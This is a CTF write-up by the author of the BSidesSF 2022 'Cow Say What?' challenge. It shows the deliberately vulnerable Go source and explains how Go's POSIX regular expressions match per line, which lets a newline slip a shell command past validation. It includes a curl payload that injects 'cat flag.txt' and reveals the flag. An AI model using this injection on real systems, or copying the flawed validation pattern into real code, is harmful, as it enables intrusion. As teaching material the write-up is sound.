BSidesSF 2022 CTF: Cow Say What?
As the author of the Cow Say What? challenge from this year’s BSidesSF CTF, I
got a lot of questions about it after the CTF ended. It’s both surprisingly
straight-forward but also a very little-known issue.
The challenge was a web challenge – if you visited the service, you got a page providing a textarea for input to the cowsay program, as well as a drop down for the style of the cow saying something (plain, stoned, dead, etc.). There was a link to the source code, reproduced here:
{% raw %}
1package main
2
3import (
4 "fmt"
5 "html/template"
6 "io"
7 "log"
8 "net/http"
9 "os"
10 "os/exec"
11 "regexp"
12)
13
14const (
15 COWSAY_PATH = "/usr/games/cowsay"
16)
17
18var (
19 modeRE = regexp.MustCompilePOSIX("^-(b|d|g|p|s|t|w)$")
20)
21
22// Note: mode must be validated prior to running this!
23func cowsay(mode, message string) (string, error) {
24 cowcmd := fmt.Sprintf("%s %s -n", COWSAY_PATH, mode)
25 log.Printf("Running cowsay as: %s", cowcmd)
26 cmd := exec.Command("/bin/sh", "-c", cowcmd)
27 stdin, err := cmd.StdinPipe()
28 if err != nil {
29 return "", err
30 }
31 go func() {
32 defer stdin.Close()
33 io.WriteString(stdin, message)
34 }()
35 outbuf, err := cmd.Output()
36 if err != nil {
37 return "", err
38 }
39 return string(outbuf), nil
40}
41
42func checkMode(mode string) error {
43 if mode == "" {
44 return nil
45 }
46 if !modeRE.MatchString(mode) {
47 return fmt.Errorf("Mode must match regexp: %s", modeRE.String())
48 }
49 return nil
50}
51
52const cowTemplateSource = `
53<!doctype html>
54<html>
55 <h1>Cow Say What?</h1>
56 <p>I love <a href='https://www.mankier.com/1/cowsay'>cowsay</a> so much that
57 I wanted to bring it to the web. Enjoy!</p>
58 {{if .Error}}
59 <p><b>{{.Error}}</b></p>
60 {{end}}
61 <form method="POST" action="/">
62 <select name="mode">
63 <option value="">Plain</option>
64 <option value="-b">Borg</option>
65 <option value="-d">Dead</option>
66 <option value="-g">Greedy</option>
67 <option value="-p">Paranoid</option>
68 <option value="-s">Stoned</option>
69 <option value="-t">Tired</option>
70 <option value="-w">Wired</option>
71 </select><br />
72 <textarea name="message" placeholder="message" cols="60" rows="10">{{.Message}}</textarea><br />
73 <input type='submit' value='Say'><br />
74 </form>
75 {{if .CowSay}}
76 <pre>{{.CowSay}}</pre>
77 {{end}}
78 <p>Check out <a href='/cowsay.go'>how it works</a>.</p>
79</html>
80`
81
82var cowTemplate = template.Must(template.New("cowsay").Parse(cowTemplateSource))
83
84type tmplVars struct {
85 Error string
86 CowSay string
87 Message string
88}
89
90func cowsayHandler(w http.ResponseWriter, r *http.Request) {
91 vars := tmplVars{}
92 if r.Method == http.MethodPost {
93 mode := r.FormValue("mode")
94 message := r.FormValue("message")
95 vars.Message = message
96 if err := checkMode(mode); err != nil {
97 vars.Error = err.Error()
98 } else {
99 if said, err := cowsay(mode, message); err != nil {
100 log.Printf("Error running cowsay: %v", err)
101 vars.Error = "An error occurred running cowsay."
102 } else {
103 vars.CowSay = said
104 }
105 }
106 }
107 cowTemplate.Execute(w, vars)
108}
109
110func sourceHandler(w http.ResponseWriter, r *http.Request) {
111 http.ServeFile(w, r, "cowsay.go")
112}
113
114func main() {
115 addr := "0.0.0.0:6789"
116 if len(os.Args) > 1 {
117 addr = os.Args[1]
118 }
119 http.HandleFunc("/cowsay.go", sourceHandler)
120 http.HandleFunc("/", cowsayHandler)
121 log.Fatal(http.ListenAndServe(addr, nil))
122}
{% endraw %}
There’s a few things to unpack here, but probably most significant is that
the cowsay output is produced by invoking an external program. Notably, it
passes the message via stdin, and the mode as an argument to the program. The
entire program is invoked via sh -c, which makes this similar to the
system(3) libc function.
The mode is validated via a regular expression. As Jamie Zawinski was opined (and Jeff Atwood has commented on):
Some people, when confronted with a problem, think “I know, I’ll use regular expressions.” Now they have two problems.
Well, it turns out we do have two problems. Our regular expression is given by the statement:
1modeRE = regexp.MustCompilePOSIX("^-(b|d|g|p|s|t|w)$")
We can use a tool like regex101.com to play
around with our expression. Specifically, it appears that it should consist of
a - followed by one of the characters separated by pipes within the
parentheses. At first, this appears pretty limiting, however, if we examine the
Go regexp documentation, we might
notice a few oddities. Specifically, ^ is defined as “at beginning of text or
line (flag m=true)” and $ as “at end of text … or line (flag m=true)”. So
apparently two of our special characters have different meanings depending on
some “flags”.
There are no flags in our regular expression, so we’re using whatever the
defaults are. Looking at the documentation for
Flags, we see that there are
two default sets of flags: Perl and POSIX. Slightly strangely, the
constants use an inverted meaning for the m flag: OneLine, which causes the
regular expression engine to “treat ^ and $ as only matching at beginning and
end of text”. This flag is not included in POSIX (in fact, no flags are),
so in a POSIX RE, ^ and $ match the beginning and end of lines
respectively.
Our test for the Regexp to match is
MatchString, which is
documented as:
MatchString reports whether the string s contains any match of the regular expression re.
Note that the test is “contains any match”. If ^ and $ matched beginning
and end of input, that would require the entire string to match, but since
they are matching beginning and end of line, so long as the input contains a
line matching the regular expression, then MatchString will return true.
This now means we can pass arbitrary input via the mode parameter, which
will be directly interpolated into the string passed to sh -c. Put another
way, we now have a Command
Injection vulnerability.
We just need to also include a line that matches our regular expression.
To send a parameter containing a newline, we merely need to URL encode
(sometimes called percent encoding) the character, resulting in %0A. This can
be exploited with a simple cURL command:
curl 'https://cow-say-what-473bf31e.challenges.bsidessf.net/' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'mode=-d%0acat flag.txt #&message=foo'
The -d%0a matches the regular expression, then we have a command injected
(cat flag.txt) and start a comment (#) to just ignore the rest of the
command.
_____
< foo >
-----
\ ^__^
\ (xx)\_______
(__)\ )\/\
U ||----w |
|| ||
CTF{dont_have_a_cow_have_a_flag}